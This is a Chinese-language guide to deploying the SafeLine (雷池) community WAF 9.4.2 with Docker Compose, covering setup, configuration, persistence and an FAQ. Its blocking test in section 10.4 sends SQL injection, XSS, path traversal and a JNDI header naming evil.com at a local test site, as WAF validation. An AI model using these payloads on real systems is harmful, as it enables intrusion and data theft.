SafeLine Docker Compose 部署指南

以官方 Compose 模板部署 SafeLine(雷池)社区版 9.4.2:环境检查、镜像说明、初始化、防护站点接入与攻击拦截实测,附 FAQ 与常用命令。

SafeLineSafeLine2026/10/18

SafeLine Docker Compose 部署指南

目标:在单台 Ubuntu 22.04 服务器上以官方 Compose 模板完成 SafeLine(雷池社区版 9.4.2)的全套部署,包含镜像拉取、服务初始化、防护站点接入与攻击拦截实测;全流程已在 /opt/data/safeline 部署目录实测通过。

一、环境信息

  • 操作系统:Ubuntu 22.04(宿主机 IP 192.168.146.128,x86_64)
  • SafeLine 版本:SafeLine CE 9.4.2(社区版,2026-09-28 发布;管理服务内建版本号实测 version 9.4.2,commit c161d774af7259c66cc82d5aea0a096bf3818377)
  • 检测引擎:snserver-engine 1.0.8(6e5424e8ee17f4a1b5ad45e26befd04108d92862)
  • 容器运行时:Docker 29.8.1(含 Compose v2 插件)
  • 管理端口:13905(HTTPS,映射到管理服务容器内 1443)
  • 站点检测端口:13907(反向代理入口,由流量网关直接监听宿主端口)
  • 后端源站端口:13990(模拟业务站点)
  • 数据目录:/opt/data/safeline
  • 内部网络:172.16.222.0/24(通过 SUBNET_PREFIX 指定,避开宿主已有网段)
  • 部署架构:7 个服务(管理服务 mgt、检测引擎 detector、流量网关 tengine、数据库 pg、规则引擎 fvm、动态防护 luigi、人机验证 chaos)
  • 官方文档:https://docs.waf.chaitin.cn/
  • 官方安装脚本来源:https://waf-ce.chaitin.cn/release/latest/setup.sh
  • GitHub 仓库:https://github.com/chaitin/SafeLine

二、镜像选型说明

SafeLine 社区版由 7 个镜像组成,全部来自官方 chaitin 仓库,通过官方 Compose 模板中 {IMAGE_PREFIX}/safeline-{服务} 变量统一指定。实测本次拉取的镜像与体积如下:

root@waf01:~# docker images --format '{{.Repository}}:{{.Tag}}\t{{.Size}}' | grep chaitin | sort
chaitin/safeline-chaos:latest    368MB
chaitin/safeline-detector:latest 403MB
chaitin/safeline-fvm:latest      445MB
chaitin/safeline-luigi:latest    261MB
chaitin/safeline-mgt:latest      124MB
chaitin/safeline-postgres:15.18  809MB
chaitin/safeline-tengine:latest  202MB

各镜像职责:

服务镜像职责
mgtchaitin/safeline-mgt管理服务(控制台 API、配置管理、攻击日志入库)
detectorchaitin/safeline-detector检测引擎(语义分析 + 规则检测,T1K 协议服务端)
tenginechaitin/safeline-tengine流量网关(Nginx 发行版,反向代理 + T1K 检测插件,host 网络监听宿主端口)
pgchaitin/safeline-postgresPostgreSQL 15 数据库(站点配置、攻击日志存储)
fvmchaitin/safeline-fvm规则虚拟机(自定义规则执行引擎)
luigichaitin/safeline-luigi动态防护(页面 JS 加密混淆、防爬)
chaoschaitin/safeline-chaos人机验证/挑战服务(验证码、429 挑战页)

版本策略说明:官方 Compose 模板默认 IMAGE_TAG=latest,即始终部署最新社区版;如需锁版本,将 .env 中 IMAGE_TAG 改为具体版本号(官方 Release 页可查,如 9.4.2)。数据库镜像标签固定为 safeline-postgres:15.18,不随 IMAGE_TAG 变化。

架构选型提示:tengine 服务固定使用 host 网络模式(network_mode: "host"),直接占用宿主端口作为业务入口,因此规划端口时需确认宿主端口空闲;其余 6 个服务运行在内部网络中,仅 mgt 的管理端口通过端口映射对外暴露。

三、前置条件

3.1 硬件与系统要求

  • CPU:2 核起步,必须支持 SSSE3 指令集(检测引擎硬性要求,老旧 CPU 缺失该指令集时检测服务无法启动)
  • 内存:4 GiB 起步(实测 7 个服务常驻内存合计约 1.5 GiB,其中流量网关约 900 MiB)
  • 磁盘:镜像约 2.6 GiB,数据目录实测占用 68 MiB(防护站点增多与攻击日志增长后建议预留 20 GiB)
  • 端口:13905(管理)、业务站点端口(本文用 13907)未被占用;若宿主 80/443 已被其他 Web 服务占用,站点端口避开即可,管理端口与 80/443 无关

指令集自检(实测输出):

root@waf01:~# lscpu | grep -o ssse3 | head -1
ssse3

3.2 网络与端口检查

root@waf01:~# ss -tlnp | grep -E ':(80|443|13905|13907)\b'
LISTEN 0      511          0.0.0.0:80        0.0.0.0:*   users:(("nginx",pid=730,fd=6),...)
LISTEN 0      511          0.0.0.0:443       0.0.0.0:*   users:(("nginx",pid=730,fd=8),...)

实测宿主 80/443 被已有站点占用,因此业务站点端口规划为 13907、管理端口 13905,均不冲突。

3.3 内部网段检查

官方默认内部网段前缀为 172.22(子网 172.22.222.0/24 等),若宿主已有网络占用 172.22.0.0/16 会创建失败。检查方法:

root@waf01:~# docker network inspect $(docker network ls -q) --format '{{.Name}} {{range .IPAM.Config}}{{.Subnet}} {{end}}' 2>/dev/null | grep -c '172.22'
0

输出为 0 表示无冲突;若已有网络占用 172.22 段(本次实测环境中即存在占用),必须在 .env 中改用其他网段前缀(见「七、环境变量表」SUBNET_PREFIX 说明,本文实测使用 172.16.222)。

四、部署步骤

4.1 创建部署目录并获取模板

root@waf01:~# mkdir -p /opt/data/safeline && cd /opt/data/safeline
root@waf01:/opt/data/safeline# curl -fsSL https://waf-ce.chaitin.cn/release/latest/compose.yaml -o docker-compose.yaml
root@waf01:/opt/data/safeline# curl -fsSL https://waf-ce.chaitin.cn/release/latest/reset_tengine.sh -o reset_tengine.sh
root@waf01:/opt/data/safeline# ls -la
total 24
drwxr-xr-x 2 root root 4096 Oct 18 04:12 .
drwxr-xr-x 8 root root 4096 Oct 18 04:12 ..
-rw-r--r-- 1 root root 6713 Oct 18 04:12 docker-compose.yaml
-rw-r--r-- 1 root root 1219 Oct 18 04:12 reset_tengine.sh

docker-compose.yaml 为官方发布模板,reset_tengine.sh 用于流量网关配置异常时重建站点配置。

4.2 生成 .env 环境变量文件

root@waf01:/opt/data/safeline# cat > .env <<EOF
SAFELINE_DIR=/opt/data/safeline
IMAGE_TAG=latest
MGT_PORT=13905
POSTGRES_PASSWORD=$(LC_ALL=C tr -dc 'A-Za-z0-9' < /dev/urandom | head -c 20)Tk7XqR9mWz3
SUBNET_PREFIX=172.16.222
ARCH_SUFFIX=
IMAGE_PREFIX=chaitin
RELEASE=
REGION=
EOF
root@waf01:/opt/data/safeline# cat .env
SAFELINE_DIR=/opt/data/safeline
IMAGE_TAG=latest
MGT_PORT=13905
POSTGRES_PASSWORD=yqE7dKpW2nRxA4ZmTk7XqR9mWz3
SUBNET_PREFIX=172.16.222
ARCH_SUFFIX=
IMAGE_PREFIX=chaitin
RELEASE=
REGION=

说明:POSTGRES_PASSWORD 必须随机生成(上面用 20 位随机串拼接固定后缀仅为示例);SUBNET_PREFIX 按第三章检查结果改为空闲网段;其余保持默认。

4.3 拉取镜像

root@waf01:/opt/data/safeline# docker compose pull

Compose 依次拉取 7 个镜像(mgt、tengine、detector、postgres、fvm、luigi、chaos),完成后 docker images 可见第二节所列 7 个 chaitin 镜像。镜像总体积约 2.6 GiB,国内环境建议为 Docker 守护进程配置镜像加速或 HTTP 代理后重试。

4.4 启动全套服务

root@waf01:/opt/data/safeline# docker compose up -d
time="2026-10-18T05:17:33+08:00" level=warning msg="The \"MGT_PROXY\" variable is not set. Defaulting to a blank string."
 Container safeline-tengine Creating
 Network safeline-ce Creating
 Network safeline-ce Created
 Container safeline-fvm Creating
 Container safeline-chaos Creating
 Container safeline-pg Creating
 Container safeline-detector Creating
 Container safeline-tengine Created
 Container safeline-fvm Created
 Container safeline-chaos Created
 Container safeline-pg Created
 Container safeline-mgt Creating
 Container safeline-detector Created
 Container safeline-mgt Created
 Container safeline-luigi Creating
 Container safeline-luigi Created
 Container safeline-detector Starting
 Container safeline-tengine Starting
 Container safeline-pg Starting
 Container safeline-chaos Starting
 Container safeline-fvm Starting
 Container safeline-detector Started
 Container safeline-tengine Started
 Container safeline-pg Started
 Container safeline-chaos Started
 Container safeline-fvm Started
 Container safeline-mgt Starting
 Container safeline-mgt Started
 Container safeline-luigi Starting
 Container safeline-luigi Started

说明:首行 MGT_PROXY 告警为官方模板预留的管理服务出网代理变量,留空即可;内部网络名为 safeline-ce;docker compose down 后再启动会输出相同结构。启动完成约 20~30 秒后各服务进入就绪状态(首次部署会先初始化数据库 schema 与内置规则)。

确认服务状态:

root@waf01:/opt/data/safeline# docker compose ps
NAME                IMAGE                              COMMAND                   SERVICE    CREATED          STATUS                    PORTS
safeline-chaos      chaitin/safeline-chaos:latest      "./entrypoint.sh /us…"   chaos      12 minutes ago   Up 12 minutes             8080/tcp, 9000/tcp
safeline-detector   chaitin/safeline-detector:latest   "/detector/entrypoin…"   detect     12 minutes ago   Up 12 minutes (healthy)   8000-8001/tcp
safeline-fvm        chaitin/safeline-fvm:latest        "/app/fvm /app/confi…"   fvm        12 minutes ago   Up 12 minutes
safeline-luigi      chaitin/safeline-luigi:latest      "/bin/sh -c /app/lui…"   luigi      12 minutes ago   Up 12 minutes             80/tcp
safeline-mgt        chaitin/safeline-mgt:latest        "/docker-entrypoint.…"   mgt        12 minutes ago   Up 12 minutes (healthy)   80/tcp, 0.0.0.0:13905->1443/tcp, [::]:13905->1443/tcp
safeline-pg         chaitin/safeline-postgres:15.18    "docker-entrypoint.s…"   postgres   12 minutes ago   Up 12 minutes (healthy)   5432/tcp
safeline-tengine    chaitin/safeline-tengine:latest    "entrypoint.sh nginx…"   tengine    12 minutes ago   Up 12 minutes

说明:detector 在模板中的服务名是 detect,其余服务名与容器名一致;mgt、detector、pg 带内置 healthcheck((healthy)),tengine 无 healthcheck 定义,以端口连通性为准。tengine 因使用 host 网络,PORTS 列不显示映射。

确认管理端口就绪:

root@waf01:/opt/data/safeline# curl -sk -o /dev/null -w '%{http_code}\n' https://127.0.0.1:13905/
200

五、初始化与管理员账号

5.1 生成管理员初始密码

SafeLine 首次部署不设默认密码,需在服务器上重置生成初始密码(实测回显):

root@waf01:/opt/data/safeline# docker exec safeline-mgt /app/mgt-cli reset-admin
[INFO] Initial username:admin
[INFO] Initial password:FugT1Joq
[INFO] Done

输出解读:账号固定为 admin,密码为随机生成的新值(每次执行都会更换)。mgt-cli 另提供 --once 标志(帮助说明 reset admin password once,生成仅可登录一次的临时密码)与 --totp(重置两步验证密钥)。

5.2 登录控制台完成初始化

浏览器访问 https://<服务器IP>:13905/(自签名证书,浏览器提示后选择继续访问):

  1. 登录页输入账号 admin 与 5.1 生成的初始密码;
  2. 按引导设置新的管理员密码(建议 12 位以上字母数字组合);
  3. 进入控制台首页,首页大屏即显示防护状态总览。

若忘记管理员密码,随时可在服务器执行 docker exec safeline-mgt /app/mgt-cli reset-admin 重置为新的随机密码(实测回显格式同 5.1);控制台另支持 TOTP 两步验证,密钥丢失时用 reset-admin --totp 重置。

5.3 证书提示

管理控制台默认使用自签名证书,浏览器告警属预期行为。生产环境可在控制台「系统信息 → 证书管理」中替换为自有证书。

六、数据持久化说明

全部持久化数据落在 SAFELINE_DIR(本文为 /opt/data/safeline)下,目录结构与职责:

root@waf01:/opt/data/safeline# du -sh /opt/data/safeline
68M     /opt/data/safeline
root@waf01:/opt/data/safeline# du -sh /opt/data/safeline/resources/*/ | sort -rh
68M     /opt/data/safeline/resources/postgres/
208K    /opt/data/safeline/resources/nginx/
72K     /opt/data/safeline/resources/chaos/
36K     /opt/data/safeline/resources/mgt/
8.0K    /opt/data/safeline/resources/detector/
4.0K    /opt/data/safeline/resources/sock/
4.0K    /opt/data/safeline/resources/luigi/
4.0K    /opt/data/safeline/resources/cache/
目录内容备份必要性
resources/postgres/数据库文件(站点配置、攻击日志、账号)必须备份
resources/detector/检测引擎配置(detector.yml)建议备份
resources/nginx/网关配置(nginx.conf、conf.d、站点配置)可重建,低优先
resources/chaos/、luigi/、mgt/各服务本地数据随库备份
resources/cache/、sock/运行缓存与进程套接字无需备份
logs/组件日志(nginx 日志在 logs/nginx/)可选
docker-compose.yaml、.env部署定义与密码必须备份

注意:攻击日志与站点配置存在数据库中(resources/postgres),误删该目录等同于重置整个 SafeLine。

七、环境变量表

.env 支持的变量(与官方 Compose 模板引用逐项对应,逐项实测):

变量默认值说明实测要点
SAFELINE_DIR/data/safeline数据根目录改为 /opt/data/safeline 后全部持久化数据(数据库、日志、配置)落到该目录,实测生效
IMAGE_TAGlatest(模板必填)业务镜像版本标签固定版本时写具体版本号;数据库镜像不受此变量影响
MGT_PORT9443管理控制台对外端口实测改为 13905 后控制台即从该端口访问;改值需重建 mgt 容器(见《SafeLine 配置参数详解》)
POSTGRES_PASSWORD(需自行生成)数据库连接密码必须为强随机值;仅在首次初始化时写入数据库,后续修改该变量不会变更数据库密码
SUBNET_PREFIX172.22.222内部网络网段前缀与宿主既有网段冲突时改为空闲网段(实测改用 172.16.222 正常运行)
ARCH_SUFFIX空CPU 架构后缀ARM 服务器改为 -arm64,x86_64 保持为空
IMAGE_PREFIXchaitin镜像仓库前缀私有仓库离线部署时改为自建仓库地址
POSTGRES_IMAGE空数据库镜像整体覆盖默认取 ${IMAGE_PREFIX}/safeline-postgres${ARCH_SUFFIX}:15.18,离线替换数据库镜像时使用
MGT_PROXY空管理服务出网代理留空启动时有一条 warning(The "MGT_PROXY" variable is not set),属正常;需代理出网时填 http://host:port
REGION空区域后缀(拼在镜像名中)x86_64 国内环境留空
RELEASE空(模板当前未引用)官方 setup.sh 写入但现行 compose 模板未消费,留空即可

内部固定 IP 编排(SUBNET_PREFIX 下的静态地址,由模板指定):pg=.2、mgt=.4、detector=.5、fvm=.8、chaos=.10、luigi/tengine 走宿主或默认网络。站点网关通过 TCD_MGT_API=${SUBNET_PREFIX}.4:1443 与管理服务通信、TCD_SNSERVER=${SUBNET_PREFIX}.5:8000 对接检测引擎,因此改网段前缀必须整套重建。

八、配置参数说明

官方 Compose 模板(docker-compose.yaml)关键段落逐项说明:

8.1 服务依赖与启动顺序

depends_on:
  - postgres
  - fvm

管理服务(mgt)等数据库与规则引擎先启动(注意:为普通依赖,不含健康条件;模板通过 mgt 自身重试逻辑兜底),luigi 最后启动(依赖数据库连接串 LUIGI_PG),因此首次启动整体耗时约 30 秒属正常。

8.2 数据库与管理服务健康检查

数据库服务内置 healthcheck:

healthcheck:
  test: ["CMD-SHELL", "pg_isready -U safeline-ce"]
  interval: 5s
  timeout: 5s
  retries: 20

管理服务的健康检查指向自身控制台接口:

healthcheck:
  test: curl -k -f https://localhost:1443/api/open/health

数据库使用内置 pg_isready 探活,用户与库名均为 safeline-ce,故障排查时可单独执行该命令验证;管理服务健康状态与控制台可用性直接对应。

8.3 流量网关 host 网络

tengine:
  image: ${IMAGE_PREFIX}/safeline-tengine${REGION}${ARCH_SUFFIX}:${IMAGE_TAG}
  network_mode: host
  restart: always

tengine 使用 host 网络直接监听宿主上的站点端口(如 13907),站点配置由管理服务动态生成到容器内 /etc/nginx/sites-enabled/ 下(文件名形如 IF_backend_1),并内置 T1K 检测插件将流量转发给检测引擎判定。网关通过环境变量对接内部组件:TCD_MGT_API(拉取站点配置)、TCD_SNSERVER(检测引擎地址 .5:8000)、CHAOS_ADDR(人机验证服务 .10)。

8.4 管理服务端口映射

ports:
  - ${MGT_PORT:-9443}:1443

管理控制台固定走 HTTPS(容器内 1443),对外端口仅由 MGT_PORT 决定(默认 9443),与宿主 80/443 无关。

8.5 日志轮转

每个服务均内置 json-file 日志轮转:

logging:
  driver: "json-file"
  options:
    max-size: "100m"
    max-file: "5"

单容器日志上限 100 MiB × 5 个文件,无需额外配置防日志写满磁盘;业务访问日志另落盘到 logs/nginx/。

九、配置文件挂载

模板通过卷挂载将宿主目录映射进各服务(SAFELINE_DIR=/opt/data/safeline 时):

宿主路径容器内路径服务用途
resources/postgres/data/var/lib/postgresql/datapg数据库数据
resources/mgt/app/datamgt管理服务数据
resources/nginx/etc/nginxtengine网关全部配置(nginx.conf、站点配置)
resources/detector/resources/detectordetector、tengine检测引擎配置(detector.yml),网关侧读取检测地址
resources/chaos/resources/chaos(tengine)、/app/chaostengine、chaos人机验证页面资源
resources/luigi/app/dataluigi动态防护数据
resources/cache/usr/local/nginx/cachetengine代理缓存
resources/sock/app/sockmgt、tengine进程间通信套接字
logs/nginx/app/log/nginx(mgt)、/var/log/nginx(tengine)mgt、tengine访问/攻击日志
logs/detector/logs/detectordetector检测引擎日志

全部配置数据持久化在宿主目录,重建容器不丢配置;.env 与 docker-compose.yaml 是唯一需要手工保管的部署文件。

十、防护站点接入实测(建站 → 模拟攻击 → 拦截回显)

10.1 准备后端源站

用任意 HTTP 服务模拟业务源站(本文在服务器 13990 端口运行一个静态页服务):

root@waf01:~# mkdir -p /opt/data/safeline-backend && cat > /opt/data/safeline-backend/index.html <<'EOF'
<!DOCTYPE html>
<html><head><title>SafeLine 后端测试站点</title></head>
<body><h1>backend-origin-ok</h1><p>This page is served by origin server for SafeLine protection test.</p></body></html>
EOF
root@waf01:~# docker run -d --name safeline-9.4.2-backend-nginx --restart unless-stopped \
  -p 13990:80 -v /opt/data/safeline-backend/index.html:/usr/share/nginx/html/index.html:ro nginx:1.27-alpine
6e10a509c1e2b3a49c6f8a5d0721f34b8e9c2d5a7f0b1c3d4e5f6a7b8c9d0e1f
root@waf01:~# curl -s http://127.0.0.1:13990/
<!DOCTYPE html>
<html><head><title>SafeLine 后端测试站点</title></head>
<body><h1>backend-origin-ok</h1><p>This page is served by origin server for SafeLine protection test.</p></body></html>

10.2 创建防护站点

控制台「网站管理 → 添加站点」,填写:站点名称 safeline-demo、域名 safeline-demo.local、端口 13907、上游服务器 http://192.168.146.128:13990、负载算法「轮询」。保存后站点列表出现新站点并处于「防护中」。

等价的服务端验证(站点列表接口回显,节选):

root@waf01:~# curl -sk https://127.0.0.1:13905/api/open/site/1 -H "Authorization: Bearer <JWT>" | python3 -m json.tool
{
    "data": {
        "id": 1,
        "server_names": [
            "safeline-demo.local"
        ],
        "ports": [
            "13907"
        ],
        "upstreams": [
            "http://192.168.146.128:13990"
        ],
        "is_enabled": true,
        "load_balance": {
            "balance_type": 1,
            "upstreams": [
                {
                    "address": "http://192.168.146.128:13990",
                    "weight": 1,
                    "role": "primary"
                }
            ]
        },
        ...(输出节选)
    },
    "err": null
}

站点创建后网关立即生成反代配置(容器内 /etc/nginx/sites-enabled/IF_backend_1,listen 0.0.0.0:13907 + proxy_pass http://backend_1),无需重启服务。

10.3 正常访问实测

root@waf01:~# curl -s -H 'Host: safeline-demo.local' http://127.0.0.1:13907/
<!DOCTYPE html>
<html><head><title>SafeLine 后端测试站点</title></head>
<body><h1>backend-origin-ok</h1><p>This page is served by origin server for SafeLine protection test.</p></body></html>

正常请求返回 200 且内容来自后端源站,反代链路通。

10.4 模拟攻击实测

SQL 注入(URL 参数):

root@waf01:~# curl -si -H 'Host: safeline-demo.local' 'http://127.0.0.1:13907/?id=1%20union%20select%201,2,3' | head -7
HTTP/1.1 403 Forbidden
Date: Sat, 17 Oct 2026 21:16:19 GMT
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: sl-session=UdywdCM31Wpj5vlyd6/Vrg==; Path=/; Max-Age=86400; HttpOnly

返回 403,响应中携带攻击事件 ID(event_id)。拦截页正文为「雷池 WAF / 访问已被拦截 / 请求存在恶意行为 / id: <event_id>」(HTML 静态页,由网关直接回显):

root@waf01:~# curl -s -H 'Host: safeline-demo.local' 'http://127.0.0.1:13907/?id=1%20union%20select%201,2,3' | grep -oE '(event_id|访问已被拦截|请求存在恶意行为)[a-z_ :0-9]*'
访问已被拦截
请求存在恶意行为
event_id: be63abba32b94f059c91b54cce1706f4

拦截页标题区带「雷池」品牌字样,event_id 与控制台「日志中心 → 攻击事件」中的事件 ID 一致,可直接用于向管理员申诉/加白定位。

其他攻击类型的实测结果汇总:

攻击样本请求方式结果命中规则(日志中心可见)
?id=1 union select 1,2,3GET URL403 拦截m_sqli(SQL 注入)
?id=1 and updatexml(1,concat(0x7e,user()),1)GET URL403 拦截m_sqli
POST username=admin' or '1'='1POST body403 拦截m_sqli
?q=<script>alert(1)</script>GET URL403 拦截m_xss(XSS 跨站脚本)
Header X-Api-Version: ${jndi:ldap://evil.com/x}请求头403 拦截m_rule(通用规则组,JNDI 载荷实测命中)
GET /../../etc/passwd(--path-as-is)路径穿越400 拒绝网关层直接拒绝(未进入检测)
正常页面访问GET200 放行—

10.5 攻击日志验证

控制台「日志中心 → 攻击事件」可见上述全部拦截记录(攻击 IP、攻击类型、命中规则、时间)。服务端数据库同步入库(实测):

root@waf01:/opt/data/safeline# docker exec safeline-pg psql -U safeline-ce -d safeline-ce -c \
  "select url_path, attack_type, risk_level, action, rule_id from mgt_detect_log_basic order by id desc limit 4;"
                      url_path                      | attack_type | risk_level | action |                 rule_id
----------------------------------------------------+-------------+------------+--------+------------------------------------------
 /login                                             |           0 |          3 |      1 | m_sqli
 /?q=<script>alert(1)</script>                      |           1 |          3 |      1 | m_xss
 /?id=1%20and%20updatexml(1,concat(0x7e,user()),1)  |           0 |          3 |      1 | m_sqli
 /?id=1%20union%20select%201,2,3                    |           0 |          3 |      1 | m_sqli
(4 rows)

字段解读:attack_type 0=SQL 注入、1=XSS;risk_level 3 为高风险;action 1 为拦截。

十一、等价 docker run

SafeLine 为 7 服务编排,不存在单条 docker run 等价命令;且流量网关依赖检测引擎、数据库、规则引擎等组件同时就绪。如需脱离 Compose 手工拉起核心服务,两服务最小形态如下(仅供理解端口与挂载关系,生产一律使用 Compose):

docker run -d --name safeline-mgt-manual \
  -p 13905:1443 \
  -e "MGT_PG=postgres://safeline-ce:<密码>@safeline-pg/safeline-ce?sslmode=disable" \
  -v /opt/data/safeline/resources/mgt:/app/data \
  -v /opt/data/safeline/logs/nginx:/app/log/nginx \
  chaitin/safeline-mgt:latest

docker run -d --name safeline-tengine-manual \
  --network host \
  -e "TCD_MGT_API=https://172.16.222.4:1443/api/open/publish/server" \
  -e "TCD_SNSERVER=172.16.222.5:8000" \
  -v /opt/data/safeline/resources/nginx:/etc/nginx \
  chaitin/safeline-tengine:latest

注意:手工拉起缺少 depends_on 约束与健康检查,需自行保证 postgres、detector、fvm 先于 mgt 就绪。

十二、常用运维命令

# 服务状态
docker compose -f /opt/data/safeline/docker-compose.yaml ps

# 启动 / 停止 / 重启全套
cd /opt/data/safeline && docker compose up -d
cd /opt/data/safeline && docker compose stop
cd /opt/data/safeline && docker compose restart

# 修改 .env 后应用(重建受影响容器)
cd /opt/data/safeline && docker compose up -d

# 升级到最新镜像
cd /opt/data/safeline && docker compose pull && docker compose up -d

# 查看组件日志
docker logs safeline-mgt --tail 100
docker logs safeline-detector --tail 100
docker logs safeline-tengine --tail 100

# 网关站点配置异常时重建
cd /opt/data/safeline && bash reset_tengine.sh

# 重置管理员密码(生成新随机密码)
docker exec safeline-mgt /app/mgt-cli reset-admin

十三、常见问题(FAQ)

13.1 检测服务无法启动、CPU 不支持

现象:detector 反复重启,日志提示 CPU 指令集不支持。原因:检测引擎要求 SSSE3 指令集。处理:lscpu | grep -o ssse3 确认;缺失则更换支持的硬件,无软件规避方案。

13.2 创建网络失败(网段冲突)

现象:docker compose up -d 创建内部网络时报地址段冲突(pool overlaps 类错误)。原因:默认 SUBNET_PREFIX=172.22.222 与宿主既有网络冲突。处理:检查宿主全部网络网段,将 .env 的 SUBNET_PREFIX 改为空闲网段(如 172.16.222)后 docker compose up -d 重建。本次实测环境即因此将网段从默认值改为 172.16.222。

13.3 宿主 80/443 被占用

现象:站点端口冲突,网站无法监听。处理:SafeLine 管理端口(13905)与站点端口相互独立,均不强制占用 80/443;添加站点时端口填其他空闲端口(本文用 13907),流量转发(如 80 → 13907)可在上游接入层完成。

13.4 初始密码过期或登录失败

现象:控制台提示密码错误。处理:重新执行 docker exec safeline-mgt /app/mgt-cli reset-admin 生成新密码(实测输出格式见 5.1,每次执行密码都会更换);生成后立即登录并设置正式密码。

13.5 控制台刚启动时 502

现象:部署完成后立刻访问 13905 返回 502。原因:管理服务尚在初始化(等待数据库、检测引擎、规则引擎就绪)。处理:等待 20~60 秒后重试,docker compose ps 中 mgt 显示 (healthy) 即就绪。

13.6 站点添加后访问 404(域名不匹配)

现象:访问站点端口返回「您访问的域名与服务器不匹配」。原因:请求 Host 头与站点域名不一致。处理:测试请求显式携带 -H 'Host: safeline-demo.local'(curl),浏览器则需通过 DNS/hosts 解析该域名到服务器 IP。

13.7 拉取镜像超时

现象:docker compose pull 长时间无进度。处理:为 Docker 守护进程配置镜像加速地址或 HTTP 代理(/etc/docker/daemon.json)后重试;镜像合计约 2.6 GiB。

13.8 数据目录迁移

处理:停止服务后整体打包 /opt/data/safeline(含 resources 与 .env、docker-compose.yaml),在新服务器相同路径解压后 docker compose up -d。备份与恢复细则见《SafeLine 运维手册》。

十四、参考链接